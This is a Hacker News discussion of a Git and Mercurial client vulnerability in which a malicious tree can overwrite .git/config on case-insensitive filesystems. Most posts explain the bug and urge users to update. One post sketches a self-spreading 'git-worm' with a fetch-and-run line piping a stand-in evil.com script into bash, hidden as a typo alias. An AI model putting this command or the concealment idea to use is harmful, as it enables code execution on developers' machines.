Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Git client vulnerability announced

github.com

Post reply on HN
Print view View original

1–10 of 191 posts

Re: Git client vulnerability announced

#2

Post by califield »

I was wondering who found this vulnerability. You have to click through to the Git mailing list announcement[1]:

> A big "thanks!" for bringing this issue to us goes to our friends in the Mercurial land, namely, Matt Mackall and Augie Fackler.

It'd be interesting to hear how they came across this. Matt is the leader of the Mercurial project and Augie is a Mercurial core contributor.

This doesn't seem like a high priority upgrade since GitHub now blocks the vulnerability from being pushed to their servers.

[1] http://article.gmane.org/gmane.linux.kernel/1853266

edit: Upgrade ASAP!

Re: Git client vulnerability announced

#3

Post by tlarkworthy »

> We have also completed an automated scan of all existing content on github.com to look for malicious content that might have been pushed to our site before this vulnerability was discovered

did they find any problems? The post doesn't say...

Re: Git client vulnerability announced

#4

Post by ngoldbaum »

califield wrote: post #2

I was wondering who found this vulnerability. You have to click through to the Git mailing list announcement[1]: > A big "thanks!" for bringing this issue to us goes to our friends in the Mercurial land, namely, Matt Mackall and Augie Fackler. It'd be interesting to hear how they came across this. Matt is the leader of the Mercurial project and Augie is a Mercurial core contributor. This doesn't seem like a high prio…

The CVE affects mercurial as well according to the 3.2.3 release notes.

Re: Git client vulnerability announced

#5

Post by FiloSottile »

Short panic summary: your git/hg remotes can get code execution on your machine when you clone/pull if you are on OSX or Windows.

Summary: on case-insensitive/normalizing filesystems (default on OSX and Windows) it's possible for .git/config to be overwritten by the tree, probably due to a case-sensitive sanity check when the actual file is insensitive. .git/config can contain arbitrary commands to be run on certain events/as aliases, so it leads to code execution. This is a risk when you get a tree from a third party, so on pull/fetch+checkout/clone...

There's an analogous vulnerability in Mercurial.

Update, then run git --version and make sure it's one of v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, or v2.2.1. And be careful when pulling/cloning from third-parties.

EDIT: right, no "or", what are you doing reading this instead of updating?

Re: Git client vulnerability announced

#6

Post by tptacek »

califield wrote: post #2

I was wondering who found this vulnerability. You have to click through to the Git mailing list announcement[1]: > A big "thanks!" for bringing this issue to us goes to our friends in the Mercurial land, namely, Matt Mackall and Augie Fackler. It'd be interesting to hear how they came across this. Matt is the leader of the Mercurial project and Augie is a Mercurial core contributor. This doesn't seem like a high prio…

It's a very high priority, because there are things that transparently use Git and don't host all their repositories on Github. Update ASAP.

Re: Git client vulnerability announced

#7

Post by amatix »

Git-worm concept:

* create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troubles with script usage, aliases that hide existing Git commands are ignored"

* exploit code finds other local git repos and infects them (maybe avoiding those with github/bitbucket remotes, since they'll be blocked)

* be innocuous-looking via git config's "include", so the bad aliases aren't obviously visible looking at ~/.gitconfig

Re: Git client vulnerability announced

#9

Post by tptacek »

FiloSottile wrote: post #5

Short panic summary: your git/hg remotes can get code execution on your machine when you clone/pull if you are on OSX or Windows. Summary: on case-insensitive/normalizing filesystems (default on OSX and Windows) it's possible for .git/config to be overwritten by the tree, probably due to a case-sensitive sanity check when the actual file is insensitive. .git/config can contain arbitrary commands to be run on certain…

Lose the /or. Update no matter what.
Post reply on HN